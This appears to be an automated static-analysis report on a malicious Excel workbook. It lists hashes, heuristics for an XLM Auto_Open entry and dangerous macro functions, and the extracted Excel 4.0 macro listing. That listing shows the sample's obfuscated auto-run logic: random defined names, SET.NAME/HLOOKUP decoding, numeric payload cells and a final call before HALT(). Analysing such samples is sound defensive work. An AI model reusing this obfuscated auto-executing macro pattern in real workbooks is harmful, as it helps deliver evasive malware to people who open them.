Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 782d37d3ea2c4dfe…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:15 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 97bf124b294d29fc7b69028716ef3468 SHA-1: 5e1bdc062d2fef10c4ca37d93eadeddb8b8d5fb8 SHA-256: 782d37d3ea2c4dfeae9fb54a740fafe1f1ee9eced8e14980117d7705a5d35042
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6916 bytes
SHA-256: b2095394f8d8986ff68343f548dc740418bc2250dc1c6a4ae2ab56270610b005
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OSmehpXpW
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H135 
' 0018     25 LABEL : Cell Value, String Constant - azYYkkVocP len=0 
' 0018     21 LABEL : Cell Value, String Constant - cenhjO len=0 
' 0018     23 LABEL : Cell Value, String Constant - dxBSHzwM len=0 
' 0018     27 LABEL : Cell Value, String Constant - EBieJBqoMneh len=0 
' 0018     26 LABEL : Cell Value, String Constant - eJCdVEMZQrT len=0 
' 0018     26 LABEL : Cell Value, String Constant - iJbjzTbCUbE len=0 
' 0018     26 LABEL : Cell Value, String Constant - iQOBuKvuCjD len=0 
' 0018     22 LABEL : Cell Value, String Constant - kFPDVXV len=0 
' 0018     22 LABEL : Cell Value, String Constant - KMxJIXF len=0 
' 0018     26 LABEL : Cell Value, String Constant - KvaFEPfZnsr len=0 
' 0018     20 LABEL : Cell Value, String Constant - OSSUO len=0 
' 0018     24 LABEL : Cell Value, String Constant - pcsnKwCSS len=0 
' 0018     20 LABEL : Cell Value, String Constant - QcfCw len=0 
' 0018     24 LABEL : Cell Value, String Constant - TRDhBQVhH len=0 
' 0018     25 LABEL : Cell Value, String Constant - WGgMQmFtcs len=0 
' 0018     23 LABEL : Cell Value, String Constant - XeBCeUtI len=0 
' 0018     23 LABEL : Cell Value, String Constant - xwdOmMee len=0 
' 0018     25 LABEL : Cell Value, String Constant - YCeOIEyWuc len=0 
' 0018     22 LABEL : Cell Value, String Constant - YhWtTGE len=0 
' 0018     26 LABEL : Cell Value, String Constant - YxlQNgJrWFc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OSmehpXpW,H56,"SET.NAME("KvaFEPfZnsr",0+VALUE("0"))",""
'  OSmehpXpW,H61,"SET.NAME("KMxJIXF",KvaFEPfZnsr)",""
'  OSmehpXpW,H63,"SET.NAME("OSSUO",KvaFEPfZnsr)",""
'  OSmehpXpW,H67,"SET.NAME("TRDhBQVhH",COUNTA(WGgMQmFtcs))",""
'  OSmehpXpW,H69,"SET.NAME("iJbjzTbCUbE",COUNTA(QcfCw))",""
'  OSmehpXpW,H72,[],""
'  OSmehpXpW,H75,"SET.NAME("EBieJBqoMneh","")",""
'  OSmehpXpW,H78,"KMxJIXF",""
'  OSmehpXpW,H80,"SET.NAME("cenhjO",HLOOKUP("*",WGgMQmFtcs,KMxJIXF,FALSE))",""
'  OSmehpXpW,H83,"azYYkkVocP",""
'  OSmehpXpW,Q84,"",99.00000000000000000000
'  OSmehpXpW,Q85,"",173.00000000000000000000
'  OSmehpXpW,H86,"SET.NAME("kFPDVXV",KvaFEPfZnsr)",""
'  OSmehpXpW,Q86,"",-195.00000000000000000000
'  OSmehpXpW,Q87,"",960.00000000000000000000
'  OSmehpXpW,H88,[],""
'  OSmehpXpW,Q88,"",-647.00000000000000000000
'  OSmehpXpW,Q89,"",-353.00000000000000000000
'  OSmehpXpW,H90,"kFPDVXV",""
'  OSmehpXpW,H92,"xwdOmMee",""
'  OSmehpXpW,H95,"dxBSHzwM",""
'  OSmehpXpW,H98,"iQOBuKvuCjD",""
'  OSmehpXpW,H103,"SET.NAME("YhWtTGE",VALUE(HLOOKUP("*",QcfCw,iQOBuKvuCjD,FALSE)))",""
'  OSmehpXpW,H105,"eJCdVEMZQrT",""
'  OSmehpXpW,H109,"EBieJBqoMneh",""
'  OSmehpXpW,H112,"OSSUO",""
'  OSmehpXpW,H114,NEXT(),""
'  OSmehpXpW,H116,"pcsnKwCSS",""
'  OSmehpXpW,H121,[],""
'  OSmehpXpW,H125,"YCeOIEyWuc",""
'  OSmehpXpW,H129,NEXT(),""
'  OSmehpXpW,H132,RETURN(),""
'  OSmehpXpW,H158,"SET.NAME("YxlQNgJrWFc",H56)",""
'  OSmehpXpW,H163,"WGgMQmFtcs",""
'  OSmehpXpW,H167,"SET.NAME("QcfCw",R47C14)",""
'  OSmehpXpW,H171,"SET.NAME("YCeOIEyWuc",177)",""
'  OSmehpXpW,H173,"SET.NAME("XeBCeUtI",8)",""
'  OSmehpXpW,H176,YxlQNgJrWFc(),""
'  OSmehpXpW,H177,HALT(),""